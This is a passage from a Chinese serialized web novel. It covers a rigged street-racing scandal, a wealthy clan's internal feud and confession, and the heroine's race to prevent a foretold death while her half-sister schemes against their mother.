马温推门下车,径直走向周宴珩,“警署厅署长马温,接到民众举报,你们涉嫌非法飙车,根据鲸港法例第232章《公共安全条例》第50条,现以危害公共治安罪逮捕两位,请出示你们的证件。” “逮捕谁?” 小小南湾出人才啊,在鲸港都没人敢这么跟他们说话,南湾警署又算个什么东西?!关鹤全然没有了在周宴珩面前的怂包样,有恃无恐推了马温一把,“你算个什么东西也敢逮捕我们?” 马温往后退了一步,回头朝身后的警员使了个眼色,两个警员拿着镣铐上前,一左一右将人制服拷上。 “现在你的罪名又多了一样,袭警。” “……”关鹤哪会轻易妥协,咬着牙死死等着马温,“狗东西,知不知道你爸爸是谁?” 话音刚落,一群扛着长枪短炮的记者挤进了案发现场。 “本台刚刚收到消息,南湾河西区发生了一起性质恶劣的飙车事件,现场两辆非法改装跑车与高架环路相撞,造成其中一辆跑车机油侧漏引发火灾,现在请跟随本台镜头聚焦案发现场。” 记者读完开场白,一群人跟约好似得,直接调转镜头对准周宴珩和关鹤。 周宴珩:“……” 记者A:“请问你们是非法赛车的当事人吗?这辆车是你本人拥有吗?当时车祸是否是你本人亲自操作?” 记者B:“你们是本地飙车党惯犯吗?改装车有没有非法解除限速?” 记者C:“高架飙车屡禁不止,盖是有人无视法律法规无视人命安全,你们如此猖狂视人命如草芥,是否背后有人高权撑腰?” 周宴珩冷笑了一声,偏头挡住闪光灯。 原来真正的杀招在这? 八年前,沈年在高架飙车造成两死一伤,性质恶劣轰动全国,就算沈家在A国呼风唤雨还是受到了不小影响。这次要想息事宁人,周家只怕要大动干戈。 原本他还在猜,沈归灵到底和姜花衫是什么关系?现在倒是不用他揣摩了,因为鱼塘里的鱼已经迫不及待宣誓主权了。 …… 第551章 周家的态度 南湾的消息一出,鲸港立马炸了。 周元白连夜下南湾,以鲸港总署总司长的名义才把周宴珩和关鹤带回了鲸港。 周家主院灯火通明。 周元正怒不可遏,一巴掌把手里的茶壶拍成了两半,“你怎么回事?怎么这么不小心,去南湾一趟给我闯出这么大的祸?!” 周宴珩跪在堂前,淡淡看了父亲一眼,没有辩解。 周元正见状,更是气不打一处来,拍桌怒斥,“问你话!” “行了!” 周国潮捏了捏眉心,大半夜被叫醒原本就心情不畅,这逆子又摔杯子又拍桌吵得他脑袋更痛了。 “事情已经发生,追责的事放在后面,眼下最重要的事怎么解决?” 周元正见状连忙出来打圆场,“大哥,爸说得对,你先消消火,这事我已经打听清楚了,不怪阿珩,当时情况危急,若阿珩不出手现在只怕在医院躺着的就是他了。” 周元白自然知道这里面的弯弯绕绕,他气得是周宴珩竟然这么容易就被人下了套,到底还是太年轻不够沉稳。 他忍着脾气,转头看向周宴珩,“阿珩,你知道是谁在背后搞鬼吗?” 虽然周宴珩心里已经猜了个十之八九,但没有证据不便摆在明面上,再则,沈归灵敢这么耍他,这个仇他必须亲自报。 他摇头,十分果决,“不知道。” “你……”周元白恨铁不成钢,“你真是越活越回去了,差点死在别人手里却连对方是谁都不知道?!” 周元正赶紧拉住周元白,帮着周宴珩说话,“这还用问吗?先找人撞车,然后调动警署厅、煽动媒体记者,这一环扣一环,除了沈家,还有谁在南湾有这样的本事?” 周元正摆手,“不是沈谦。” 车祸的消息一传回鲸港,周家就怀疑是沈家在背后搞鬼,周元白第一时间给沈谦打了一通电话,电话里沈谦的态度没有丝毫破绽。 另外还有一点,高架飙车这件事对沈家来说也是个敏感话题,当初沈年就是因为类似事件被赶出了A国,再次提及此事对沈家来说没有任何益处。 可要不是沈家,还有谁有这么大的本事? 周宴珩抬眸,只看了一眼就知道周元白想深了,懒懒道,“当初沈年就是因为高架飙车被驱逐出国,或许有人想用同样的方法把我也赶出A国。” 不得不说,沈归灵够狠的,把他赶出南湾还不够,现在连鲸港都不打算让他待了。 真是有够可笑的,他又不是沈年,沈家没了沈年照转,但周家若没了他,上哪再去找个继承者? 周元白皱眉,“你这会儿倒是清醒!之前的脑子用哪去了?” 周宴珩,“人家冲着我来的,在南湾我人生地不熟能怎么办?” “你还有脸说,谁……” 没等周元白说完,周国潮眼睑微眯,“阿珩,你大晚上的去南湾做什么?” 周元白微愣,这才发现事情有些蹊跷,略有不解,“是啊,南湾是沈谦的地盘,你好端端跑那去做什么?” 周宴珩不假思索,谎话张口就来,“前几日我路过书房时听见了爷爷和二叔的谈话,闲来无事便想着去南湾看看。” 几天前,周元正入国会的申请再次被沈谦驳回,鲸港警署厅隶属国会,但现在国会由沈谦把控,别的势力根本渗透不进去,周国潮因此发了好大一通脾气,把周元正骂得狗血淋头。 周国潮不露声色,“那你看出什么名堂了?” 周宴珩笑了笑,薄唇轻启,“朱世雄。” 周国潮怔愣,他原以为周宴珩是私藏了什么心思,没想到还真是去南湾打探消息的。 不过,老爷子也不好糊弄,追根究底,“什么名堂?” 周宴珩应变自如,“不知道,我只知道沈归灵半夜三更还要接待这个人,说明这个人于沈谦作用不小,若是抓住了沈谦的把柄,二叔进国会的事情不就好商量了?” 周元正没想到周宴珩擅闯虎穴竟然是为了他,大为感动,连忙走上前搀扶,“阿珩,让你受委屈了。” 周宴珩假意推辞,抬眸看向周国潮, 周国潮冷哼了一声,摆摆手。 “谢爷爷。”他这才借着周元正的力慢慢站了起来。 跪得太久,脚上的酸胀让他如同踩在云端,周宴珩神色寻常,“爷爷,这件事您打算怎么解决?先说好,不管周家怎么解决,我是不会离开鲸港的。” * “靠!你他么是你家的祖宗吧?出这么大的事你还敢这么跟你家老爷子说话?” 周宴珩躺在露天阳台看星星,电话那头关鹤依旧是一惊一乍,他嫌吵,皱了皱眉,“你打电话过来就是为了说废话?” “我……”关鹤气笑了,“姓周的,老子因为你,中间那条腿都差点被老头子打断了,你就这么跟我说话?” 周宴珩,“不至于,你还没传宗接代之前你爸下手都有轻重。” “草,懒得跟你扯嘴皮。我问你,你知道今晚的事是谁搞出来了吗?” “怎么?” “什么怎么?!当然是把场子找回来,我之前就说了,等回了鲸港就弄死那孙子,狗鳖,竟然给他关爸爸下套,老子……” 周宴珩抬眸,印着星光的眸底满是戾气,“沈归灵。” “……沈……沈归灵?”关鹤被口水咽了一下。 “怎么?不敢了?” “谁他么不敢谁是孙子,那狗鳖打小就喜欢玩阴的,这次竟然算到爸爸头上来了,阿珩!你说,怎么弄?!” 周宴珩,“等这件事的风头过了再算总账,我先去打个招呼。” …… 第552章 一个人也要上 南湾高架飙车事件的热度一夜之间被压了下去,就在周家以为万事大吉时,负面消息突然大面积反弹,民众一片谩骂,连之前已经沉寂的沈年也被拖出来鞭尸。 国会内部的气压低到了极点,所有秘书经过沈谦办公室的时候连气都不敢出,生怕遭受池鱼之殃。 “你到底是怎么办事的?守在南湾也能给我捅下这么大的篓子?!那群记者又是怎么回事?怎么会这么凑巧就在高架附近?” 电话那头,马温谨小慎微解释,“先生,这真的不能怪我啊,实在是那周家少爷太不懂收敛了。我跟兄弟们才从安家船线出警回来,周家少爷的肇事现场就在我们回警署的必经之路,那些媒体原本是采访安家锁船事件的,未免遭人口舌,我特意请了几家头硬敢报的,结果赶上了周家这趟,我拦都拦不住。” 沈谦头痛欲裂靠在沙发上,因着沈年的旧账又被翻出来了,他被民众骂得狗血淋头,这两年他仕途顺畅已经好久没有被这么骂过了,一时还真有些承受不了。 “先生?” 沈谦扶额,“行了,这件事让周家自己去解决,你们收紧尾巴别给我惹事。” 刚挂了电话,新助理敲门走了进来,“议员长,楼下挤满了记者说是想采访您。” 沈谦皱眉,“告诉他们,我抽不开时间。” 这群记者真是吃饱了撑的,闯祸的是周家,采访他做什么? * 南湾。 “耶?” 姜花衫早上起来,刚打开手机,就被新闻头条的标题吸引住了目光。 -【某官二代南湾亡命飙车 烈火焚天!市民怒斥:特权杀人?】 特写镜头是吞天火势与一辆黑酷蛇眼顶级跑车的并列合影。 这车? 她点着屏幕放大,撇了撇嘴,这么骚的车,除了周宴珩还能有谁? 姜花衫顿时精神抖擞,屁颠屁颠跑出房间,环顾一圈,见沈归灵坐在沙发上看文案,她一把跳下沙发递上手机,“周宴珩来南湾了?” 沈归灵扫了一眼,“嗯。” “这么大的阵仗,该不会是被谁下套了吧?”以周宴珩的性格肯定是来找她算账的,姜花衫摸了摸下巴,颇有些幸灾乐祸。 沈归灵,“应该吧,周家树大招风,这种事难免会遇上。” 姜花衫斜眼睨了他一眼,看破不说破,拍拍屁股正准备走人,沈归灵一把拉住她的胳膊。 “周家高架案的事一时半会儿还处理不了,沈年回国的事只怕要从长计议了。” 姜花衫愣了愣,“舆论不是你弄出来的吗?” 沈归灵挑眉。 姜花衫,“装什么装?” 能把周宴珩坑成这样,除了你这个老阴龟还能有谁? 沈归灵转眸,若无其事松开她的手腕,“我不过给他个教训,但现在针对周家的舆论跟我无关。” 他之前已经答应姜花衫会想办法把沈年弄回国,飙车案的舆论越大,沈年回国的阻力就会越多,他当然不会做背道而驰的事。 “跟你无关?”姜花衫有些意外,不过就像沈归灵说的,周家树大招风,也不排除是有人落井下石故意踩上一脚。 “叮咚——” 就在这时,她的手机忽然响了一下。 姜花衫随意瞥了一眼,脸色瞬间凝重。 -【意意不是小可爱:姐姐,我发现妈妈最近很不对劲。】 从姜花衫去了一趟S国,姜晚意就跟失联了一样,原本她还想找机会问问是什么情况,没想到姜晚意竟然主动找上门了。 方眉那边可是事关沈娇的生死,姜花衫不敢大意,瞬间对周宴珩的事没了兴趣,转头跑进了房间。 沈归灵看她的神情就知道有重要的事,思忖片刻,继续看着手里的报告。 “嗡——” 茶几上的手机突然发出震动,是莫然的电话。 沈归灵看了一眼,随手接通,“莫助理?” 莫然语气低沉,“少爷,香山园林那边……失火了。” 沈归灵,“……” * 另一边,姜花衫回了房间立马给姜晚意打去电话。 那边等了好一会儿才接通。 “姐姐。” 姜花衫,“方眉怎么了?” 姜晚意的声音很小,似乎是躲在哪个角落,“我偷听到她和别人打电话,说什么时机成熟可以动手了。她现在正在跟沈小姐打电话。” 姜花衫皱眉,“她们在说什么?” 姜晚意没有回答,但电话一直保持畅通,大约过五分钟,电话那边传来急促的喘息声,姜晚意的声音终于恢复了正常,“姐姐,我听见妈妈约沈小姐后天见面详谈你转户的问题,沈小姐好像同意了。” 姜花衫看着远处的海港,语气凝重,“姜晚意,你没有骗我吧?” 姜晚意声音哽咽,“没有!我敢对天发誓,我还听见妈妈跟温萝说,这次一定要让沈小姐身败名裂。姐姐,你答应我的,要是我能提供有效情报就帮我逃出妈妈的掌控的,这应该算是有效情报吧?” 姜花衫手掌握拳,唇瓣一张一合,“如果情报真实,算。” 挂了电话,她转身出了房间。 “沈龟……” 走进客厅才发现,沈归灵已经不在原来的位置,茶几上留下一张字条。 -【我有急事出去一趟,你要是需要帮助给我打电话。】 以沈龟灵的性格连招呼都不打急着出门,一定是发生了什么了不得的大事。 姜花衫没有迟疑转身又跑了卧室,拿出手机拨通了沈眠枝的电话。 “衫衫?” 姜花衫抽出行李箱,语速极快,“枝枝,你在暗堂有多少人?我说的是,只听你指挥的人。” 沈眠枝当即意识到事态严重,“大约一百来人。” 姜花衫,“不够!两天,不!一天之内你能涨到五百人吗?” 沈眠枝思忖片刻,“可以。” 姜花衫嘴角终于有些松动,“枝枝,这两天你帮我守着绥尔。” 她不能泄露剧目相关的一切,所以她只能用这种方式告诉沈眠枝她在担心什么,以沈眠枝的聪慧一定能反应过来。 沈眠枝沉默片刻,轻声应下,“知道了。” 电话挂断的同时,姜花衫从行李箱里拿出一支格洛克手枪,这是当初沈兰晞送她的金枪,因为从未忘记过自己为何而来,所以她一直随身携带。 确认子弹充足她锁上了保险,路过衣帽间的时候顺便给自己挑了顶大檐草帽,戴上帽子抬头的瞬间,满墙的关爱玩具占满了她的整个视线。 忽然,姜花衫想到什么笑了笑,低头把枪藏进宽阔的袖摆间。 …… 第553章 沈澈自爆 梅园。 投影幕布播放着南湾飙车案的现场,南湾市民骂声一片。 沈清予斜靠着沙发,一脸戏谑,“周宴珩这个废物,怎么这么菜?这下周家有的忙了。” “嗡——” 放在茶几上的手机突然亮屏,沈清予吊梢着眼睑瞥了一眼,眉头微蹙。 顾赐丰? 因着顾彦的关系,他和这个舅舅的关系十分微妙,如非必要通常都不联系。 沈清予坐起身,将电视调成静音后不慌不忙接通了电话,“舅舅。” “阿予,你现在赶紧来一趟医院。” 顾赐丰言词急迫,沈清予立马意识到不对,随手拎起一件皮夹外套,“是不是婆婆出事了?” “老太太心肌梗塞休克过去了,刚从抢救室里出来,她现在还昏迷不行嘴里不时喊着你的名字。” 沈清予刚走出主院,园里管事的阿姨立马跟了出来,“少爷,您要出去?” 沈清予脚步冲冲头也不回出了梅园。 * 沁园。 沈归灵和沈庄坐在花厅对弈,郑松大步走了进来,弯腰在沈庄耳畔小声说了几句,沈庄神色微变,想了想,一边推着兵线过河一边说道,“让人跟着阿予,万一需要也好有个传消息的。” 郑松点头,立马转出了花厅。 沈兰晞上炮直接吃了沈庄的小兵,“爷爷,您刚刚走神了。” “……”沈庄眼皮跳了跳,抬眸看了对面的木头一眼,“刚刚郑松说的话你都听见了?” 沈兰晞心无旁骛,眼里只有面前的棋局,“嗯。” 沈庄略有些不满,嗯是什么意思,这孩子,怎么跟爷爷说话态度也这么冷? 沈兰晞抬眸,像座岿然不动的冰山,“爷爷,到你了。” 老爷子没好气,抬了抬胳膊准备下手狠的,定睛一看棋面已经呈现颓势,顿时兴趣缺缺,总算明白小花儿为什么总是把情绪价值放在嘴边了,跟阿灵下棋,有来有回杀得也痛快,跟兰晞下棋,闷得跟六七月份的暑气一样,烦躁的很。 正巧郑松又从外院走了进来,沈庄故作深沉端盏,“又怎么了?” 郑松看了沈兰晞一眼,弯着腰低声道,“老爷子,四先生来了。” 沈兰晞微愣,终于被吸引去了目光。 沈庄眸光微沉,不露声色放下茶盏,“让他进来。“””” 说罢,又重新推动兵线过河。 棋局已呈败势,沈庄之前搁棋显然是不打算再下了,但一听说沈澈来了,立马又重新对弈,意在留下沈兰晞。 沈兰晞心领神会,垂眸继续下棋,但此时,两人的棋面都已经转移。 沈澈跟着郑松入园,远远看见沈庄和沈兰晞在花厅对弈,脚步不由慢了下来。但来都来了,多一个人少一个人也由不得他了。 “父亲。” “嗯,来了?”沈庄一直盯着棋面,随意指着案边的圈椅,“坐。” 沈澈一动不动,好似没听见一般。 沈庄沉浸在棋局里,完全‘没注意’沈澈的异常。 沈澈抬眸看了沈庄一眼,神色黯然扑通一声跪了下去。 沈庄眼睑微抬,压着红车的指尖悬空定住。 沈澈弯腰匍匐在地,对着沈庄连磕了三个响头,“父亲见谅,跟沈执密谋勾结的那个人就是我。” 沈兰晞眉头微蹙,侧头看了沈澈一眼,腰身倒是弯得低,但这扮相却怎么都让人信任不起来。 沈庄再次搁棋,端起茶盏对着沈澈的脸泼了过去,茶汤滚烫,沈澈的头皮一下就被烫成了虾皮,但他不敢有任何不满,顶着满头白烟爬向沈庄。 “父亲,我知道错了,求您饶了我这次。” “父亲,秋园的事我完全不知情啊,我跟沈执只不过是互通消息相互利,但他并不听从于我。我知道父亲您把衫衫看得比命还重,我怎么可能昏聩到对她下杀手?” 见沈庄没有任何反应,沈澈一把抱着老爷子的腿,“父亲,我说的都是真的,姜花衫不过是沈家的养女,我就算要动心思也不会冒着被您发现的危险去杀一个对我毫无威胁的人,您说是不是。” 沈庄闭了闭眼,一脚踹开沈澈,在抬眸时眼里毫无情绪,“你打小什么都喜欢争个输赢,哪怕是撞了南墙都不会回头,老大那边还没查到你,怎么突然想起来认错了?” 沈园二代几乎所有人都见过沈庄不留情面的一面,对这位家族定海神针几乎有刻在骨血里的畏惧,沈澈忽然想起很多往事,低着头惶惶道,“父亲,我知道错了,您要怎么罚我都认,但阿泽和阿杰是无辜了,请您一定救救他们。” 沈庄深若寒潭的眸子终于有了一丝罅隙,“你把阿泽和阿杰也牵扯进来了。” “不!不是!”沈澈连忙摇头,“是阿娇,阿娇查到了我和沈执的关系,因为记恨沈执谋杀衫衫一事,阿娇把对我的恨意迁怒到了阿泽和阿杰身上,现在他们都在阿娇手里,她威胁我,要不我以死谢罪,要么她杀了我的两个孩子。” 这话一出,古井不波的眸子窜出翻天巨浪。 “岂有此理!” 沈庄震怒,拿起棋盘上的白玉棋对着沈澈的头砸了过去,“你们是要反了天了?!一个个手段了得!你们是不是当我死了,还是看我老了,以为我管不住你们了,这个家就可以任你们为所欲为了?” 玉棋正中沈澈的额角立马砸出了一个血包,伤口血流不止,沈澈从未如此狼狈过,尤其沈兰晞还在一旁看着,他自觉颜面扫地,低着头苦苦哀求,“父亲,千错万错都是我的错,求求您,救救阿泽和阿杰吧?他们也是您的亲孙子啊,他们自幼离家,从未参与过沈园的纷争,他们是无辜的。” 沈庄眼里的愤怒渐渐归于平静,他的脑海里闪过无数个画面,年幼的沈澈,少年的沈澈,青年的沈澈,无数个身影和眼前这个中年男人完全重合。 是他错了,就是因为他给了这个儿子太多次机会,所以才把他养成了知错不改的毛病。 沈庄收回目光,低眸看着眼前的残局,“明天,你跟我去一趟襄英。” 沈澈抬头,被血染红的半张脸看着十分瘆人,“父亲,那阿杰他们……” 沈庄眼中已经没了悲喜,“幺儿不会动手的,若是你们三房真烂成了这样,该死的那个人应该是我。” …… 第554章 好好告别 沈澈俯首认罪打得所有人猝不及防。 尤其是二房。 沈谦上午还在为被南湾飙车案牵连头疼,下午立马两极反转欣喜于沈澈的自爆。 沈庄已经下令带沈澈回襄英处置,上一个回襄英祭告祖宗的还是沈年,可见沈澈这次的处罚绝不会轻。 沈澈是三房的长子,一旦他被赶出沈家,沈亦杰和沈亦泽一定会受连累,剩下沈娇和沈让更加不足为虑,这两人的政途早在年轻的时候就毁了,膝下也只有一个女儿,三房算是彻底完了。 沈渊也是开心得不得了,拎着两只天价香槟直奔梅园,这种普天同庆的好消息当然要跟身边最亲近的人分享了。万万没想到老父亲的一腔热血扑了个空,沈清予竟然不在梅园,为了管事阿姨也不知道去处,沈渊不死心又开始打电话,结果发现沈清予竟然把他拉黑了,老父亲的心一下跌到了谷地。 “没良心的逆子,一天天的成心想气死我。这酒我就是喂狗,也不会片子这个狼心狗肺的东西!” 沈渊一路骂骂咧咧,临出沈园,恰巧在拐角碰见准备出门的沈庄,沈庄盯着他手里两瓶酒,顿时脸色阴沉到了极点。 “怎么?我还没去襄英,你就迫不及待要开香槟庆祝了?” 沈渊吓的脸色苍白,赶紧把酒藏在身后,“爸,您误会了,是清予,我看他这两天一直闷闷不乐,所以给他送两瓶香槟解解愁。” 沈庄面无表情,“你儿子不开心你不问原因还给他送酒?” 沈渊嘴角抽搐,“我……我也是刚刚觉得这样好像不对,所以打算拿回去自己喝了。” 沈庄闭眼,捏了捏山根,“滚滚滚,以后你少见清予,不然一颗好好的苗子就被你带歪了。” 沈渊讪讪笑了两声,正要走,忽然想到什么,回头看向沈庄,“爸,明天我正好没什么事,要不我陪您一起去襄英吧?” 沈庄抬眸,“滚。” * “砰——” 清越的颤音在玻璃撞击中绽开,杯沿相触的刹那,满是气泡的酒液沿着杯壁来回晃动。 沈渊到底还是如愿喝到了天价香槟,和沈谦一起。 两人在沈渊经营的会所里开怀畅饮。 “哈哈哈,真的大块人心啊!没想到跟三房斗了这么久,他们最后竟然狗咬狗。”沈渊一只脚架在茶几上,说不出的恣意畅快,“你说老头子明天会怎么处理沈澈?” 沈谦难得松懈,摇晃着手机的高脚杯,“就算不赶出A国,沈家他是待不了了。你当真以为老爷子这么生气是因为沈执要谋杀姜花衫?那不过是障眼法,鲸港谁不知道郑松和沈执是老爷子最亲近的左右手,老爷子还没死沈澈就敢跟沈执联盟,这不是等于在老爷子头顶悬了把刀,这事换做是谁都容忍不了,何况是曾经的雄狮?” 沈渊点头,“说得没错,沈澈那个没脑子的,打小就爱争,但偏偏他又是个没能耐的,争到最后什么都争不到,想来这次也是狗急跳墙了才做出这么不理智的事。说起来,这还多亏了沈娇,要不是她沈澈也不会认的这么爽快。” 沈谦皱眉,“便宜他了。” 这事要是让他先查出来,好好谋划一般,沈澈只怕都没有机会在老爷子面前认错。 沈渊故作没有听出了沈谦的言外之意,好奇道,“对了?阿灵呢?这事你跟他说了没有。” 沈谦神色微敛,“他最近一直在忙南湾海舰的入伍事宜,我暂时不想他分心。” “说得是。”沈渊略有些艳羡,点头附和,“三房不足为虑,咱们真正的心头大患还是大房,老头子偏心眼儿,幸好阿灵有出息,不然咱们这边谁还能跟兰晞斗?” 说起沈归灵,沈谦的脸色肉眼可见地转好,这细微的改变就可以看出,他现在对这个儿子满意的不得了。 * 与此同时的香山园林。 漫天大火将整个山头都烧了起来,氤氲的灰尘将山顶的天遮住了。 沈归灵站在山脚下,面无表情看着沸沸扬扬的尘土,第一次感觉自己如此渺小。 第555章 到处都是‘鬼\’ 翌日。 南湾飙车案的舆论愈演愈烈,不少民众高举着“反对特权杀人”的白色警告牌在政府门口静坐抗议。 与此同时沈宅内部也是风声鹤唳,沈庄带着沈兰晞、沈让、沈澈一行人天不亮就踏上了去往襄英老宅的路上。 姜花衫紧赶慢赶,还是和大部队过错了,去沁园扑了空,她立马意识到情况不对,沈庄这几年已经很少出门走动了,能让他出园家里必然是出了大事。 思忖片刻,她立马给沈眠枝打去了电话,但这次电话却是无法接通。 她挂了电话直奔春园,到了春园却被告知,沈眠枝从昨天就没有回来。 读大学之后,傅绥尔和沈眠枝偶尔会在学校住宿,所以阿姨们并不见怪。 二度扑空,姜花衫脸色愈发不好,一边挨个打电话一边沿着内院找人。偌大的一个园子找了一圈,沈兰晞、沈清予、沈眠枝、傅绥尔一个都不在。 怎么会这样? 她精疲力尽,瘫坐在秋池边的芭蕉叶下吁吁喘着粗气。 明明之前还能联系,怎么突然就失联了?所有人就跟约好了一样…… 蓦地,她呼吸僵滞,清澈的眸光因为想到什么瞬间蒙上了一层雾色。 不是都约好了,是剧目之力! 眼下的情况就跟上次剧目阻止她救苏妙一样,但那时她和苏妙绑定了某种契约,所以能看到剧情的走向。 也就是说,他们当前正处于某段不可抗剧情的发展阶段,而她之所以没有得到剧目之门的任何提示,是因为这段剧情没有和她绑定。 眼下沈家人全部消失,所以这段剧情一定和沈家有关。 姜花衫紧紧握拳,额上的汗珠顺着脸颊落下。 若是之前她还担心是自己杯弓蛇影想得太多,那么现在她基本就可以确定了,当前剧情一定是沈娇之死。 -【世界剧目规则四:本世界剧情不接受除剧目之门以外的任何力量更改。】 看来这次也只能靠她自己了。 秋风拂动芭蕉,秋池荡起涟漪,水面隐约浮现出两道身影。 姜花衫瞬间回神,反头看向身后,她的动作太过突兀,沈澈的手还没来得及拍上她的肩就被吓了一跳。 “四伯?” 沈澈错愕,看着悬空的手表情略有些尴尬,“衫衫,你不是在南湾吗?怎么突然回来了?” 姜花衫站起身,拍了拍裙上的草屑,“学校有些事,我回来拿点资料,四伯你今天怎么这?” 沈澈收回手,“老爷子他们都出去了,我留下来守园。”说罢,他四处看了看,“阿灵呢?他没回来吗?那小子让你一个人回鲸港?” 姜花衫,“没呢,他说先去忙点事,我拿了东西就跟阿灵哥汇合。对了!四伯,家里出什么事了吗?怎么爷爷和大家都出去了?” 沈澈想了想,语调轻松,“不是什么大事,过两天就解决了,你先好好上课,不用……” “这样啊?那行~”姜花衫看了看腕间的手表,转身就走,“我和阿灵哥约好的时间也快到了,走了。” “诶?!”沈澈回身看着她的背影,“你们约在哪见面啊?要不要让司机送送?” 姜花衫摆摆手,头也不回跑进了廊庑。 * 出了沈园,姜花衫立马给姜晚意打去了电话,这次的联络很顺畅。 “姐姐,你来了没有?我刚刚听见妈妈在房间里打电话,她好像准备出门了。”姜晚意的声音很低,明显有些着急。 姜花衫愣了愣,第一反应就是为什么姜晚意的电话能打通? “姐姐?”半天等不到回来,姜晚意不免有些着急,“我先说好,情报我已经给你了,之后的事都跟我无关了,不管以后发生什么,你一定要记住你的承诺。” “姜晚意。”姜花衫走进车库,拿出之前在梅园顺来的备用钥匙,开门上车,“我再问一遍,你没有骗我吧?” 姜晚意也急了,“我都说了一万遍了,我没有!我现在的处境你应该很清楚,我骗你对你没有任何好处。” 姜花衫垂眸,语气平静,“姜晚意,拖住方眉。” 说罢,她拉动引擎、点踩油门、娴熟挂挡,所有动作一气呵成。 “砰——” 黑武士的前脸大灯骤然亮起‘凶光’,沈清予的Dream Car如同百年巨兽从深梦中惊醒了一般,以风驰电掣的速度飞出了车库。 * “我不行啊,喂!姐姐……我……”姜晚意来不及拒绝,姜花衫已经挂了电话。 她满脸绝望看着方眉卧室的方向,心里不觉又恨起了姜花衫不讲诚信,当初分明说好的,她只负责提供情报,方眉连沈家人的主意都敢打,她哪能是对手? 正当姜晚意摇摆不定时,方眉推门走了出来,她明显是有特意装扮过,一袭素秋色的旗袍搭配高点位的正圆珍珠项链,珠光宝气连气色回春,乍一看好似年轻了十岁。 姜晚意赶紧从沙发上站了起来,双手局促,“妈,你要出去?” “嗯。”方眉睨了她一眼,神情淡淡,“晚上我不回来了,吃喝你自己解决。” 自从上次被姜花衫威胁后,方眉倒是消停了没再逼着她去外面见那些不三不四的人。 但也正是因为如此,方眉对姜晚意的态度越来越冷淡,经常夜不归宿不说,还克扣她的生活费。 姜晚意也曾舔着脸找方眉讨要,却被骂得狗血淋头,不得已她只能开始变卖之前积累的衣服、包包度日。 “妈……” 眼看方眉已经走到门口,姜晚意来不及多想大声叫住她,但见方眉皱眉看过来,她立马又慌了起来,支支吾吾了半天一个字都说不出口。 “怎么?又想问我要钱?”方眉皱眉,“当初也不知道是谁,赚钱还嫌钱脏,这么清高用我的脏钱做什么?” 姜晚意低着头,不敢说话。 方眉越来越看不上她这小家子气的模样,一脸嫌弃,“我要早知道你这么没出息,当年就不会选你,我要没有选你,那个白眼狼也不至于跟我闹到这个地步。” 姜晚意死死攥紧拳头,等到耳边传来房门的落锁声才慢慢拿出手机。 “喂,姐姐,对不起,我拦不住妈妈。” 凌乱的刘海遮住了她的眼睛,她的声音惊慌愧疚,嘴角却已经有了上扬的弧度。 其实她根本不信姜花衫会带着她一起回沈园,所以她想到了另外一种摆脱方眉的方法,那就是让方眉永远消失。 姐姐,亲生母亲和养母你会选择哪个呢? 好期待呢~ …… 第556章 登堂入室的‘鬼\’ 酷炫的中控台上挂着一根手机支架,姜花衫单手操控方向盘,指尖点了点屏幕,画面正好定格在姜晚意嘴角带笑的诡异一幕。 果然,真的全员是鬼。 对于姜晚意的反水,其实姜花衫并不意外。 经历过上一个剧目,她比谁都清楚,姜晚意就是一条毒蛇,这条毒蛇最善伪装蛰伏,只要给她抓住一点机会,她就会用藏在牙尖的毒液一击反杀。 幸好当初沈归灵留了一手,不然就算她知道姜晚意的毒性,为了沈娇也不得不赌一把。 姜花衫收回目光,面无表情看着眼前一闪而过的风景,脑子开始重新复盘。 她刚刚还在奇怪,既然已经进行到不可抗的剧情,为什么姜晚意还能联系上?现在一切就解释得通了,因为姜晚意这边的剧情是干扰剧情,是剧目故意抛出来的诱饵。 成也预知败也预知,就因为知道某些关键剧情,所以她很容易先入为主,就好比她已知方眉是鬼,所以方眉她下意识就把她和沈娇绑定到一起了。 现在想来,就算方眉有沈娇的玉镯也不能说明她就是凶手,或许方眉只是和杀沈娇的人有牵扯。 可是,又是谁要杀沈娇呢? 沈谦?沈渊?还是沈澈?亦或是某个她不知道的角色? 时间步步紧逼,姜花衫的手心全是冷汗,握着方向盘的手也开始发抖。 之前她所以能救下傅绥尔她们,是因为知道抹杀时间,所以不会被打乱节奏。 可现在她什么提示都没有,沈家所有人的电话都打不通,她甚至有些怕,会不会该发生的都已经发生了。 没有方向、没有退路,她只能赌一把了。 姜花衫掉转车头,直接开往沈娇的未央台,上一世,沈娇就是死在未央台的别墅里的。 现在距离上一世的死亡时间还有八个小时,足够她赶过去了。 转入市内,车速被迫慢了下来,沈清予的座驾外观与周宴珩那台极其相似,一路下来频频引人侧目。 又因为南湾飙车案的热度还没有下来,游行抗议的民众看见类似南湾肇事车辆,突然群起奋勇,神情激动一拥而上。 眨眼的功夫,人流涌进车道,整个交通都瘫痪了。 姜花衫怔然,她仿佛看见成千上万根傀儡线从天而降,一头系在云端,一头操控着眼前的人们。 这一瞬间,她感受到了命运的不可抵挡,她无比痛恨这一刻的感受。 是躲在车里做缩头乌龟,还是冲出去跟整个世界抗衡? 她很快有了答案,拉下手刹,推门下车。 * 未央台。 沈娇手里端着花茶正在跟沈让通话。 沈让告诉她,到襄英之后,老爷子一刻都没有等,将沈家另外几房的亲戚都请去了祖庙,当着所有父老乡亲的面,请家法打了沈澈足足两百鞭子。 沈娇至始至终都只是静静听着,没有开口问过一句话。 “阿娇,我知道你心里委屈,但四哥已经认错了,你能不能看在母亲的份上不要和他计较了?两百鞭,还是当着十里八乡的面,他那么要强的一个人,这比杀了他还难受。” 沈娇低头抿了一口茶,语气淡淡,“他只是丢了尊严,但我的女儿差点丢了命,便宜他了。” 沈让看出她是铁了心要决裂,略有些不忍,“阿娇,我们三个真的要走到这一步吗?真的没有回头路了吗?” 沈娇,“老爷子不是已经给出答案了吗?” 当众鞭笞,下一步就是移除族谱了,老爷子都不要这个儿子了,她到底是有多想不开,才会去认这个哥哥? 沈让还想劝,沈娇直接打断他,“别劝了,当断不断必受其乱,五哥,我也奉劝你一句,心烂的人别救,不然不知道自己这一‘善’会害了多少人?” 说完,她看了看时间,直接挂了电话。 “叮咚——” 就在这时,室内响起了门铃声。 沈娇放下茶杯,亲自走去门口开门。 “你们来了?” 门外站着两个容貌相似的青年,见了沈娇立马低头弯腰,“小姑姑。” 沈娇脸色稍缓,主动让出一条路,“进来吧。” 三人鱼贯而入,沈娇将人领进偏厅,主动给两人倒上热茶,态度还算温和,“这么短的时间催你们赶回来,累得够呛吧?” 兄弟俩对视了一眼,沈亦泽率先开口,“姑姑,您电话里说的那些都是真的吗?父亲真的在爷爷身边安插眼线?还企图谋杀衫衫?” 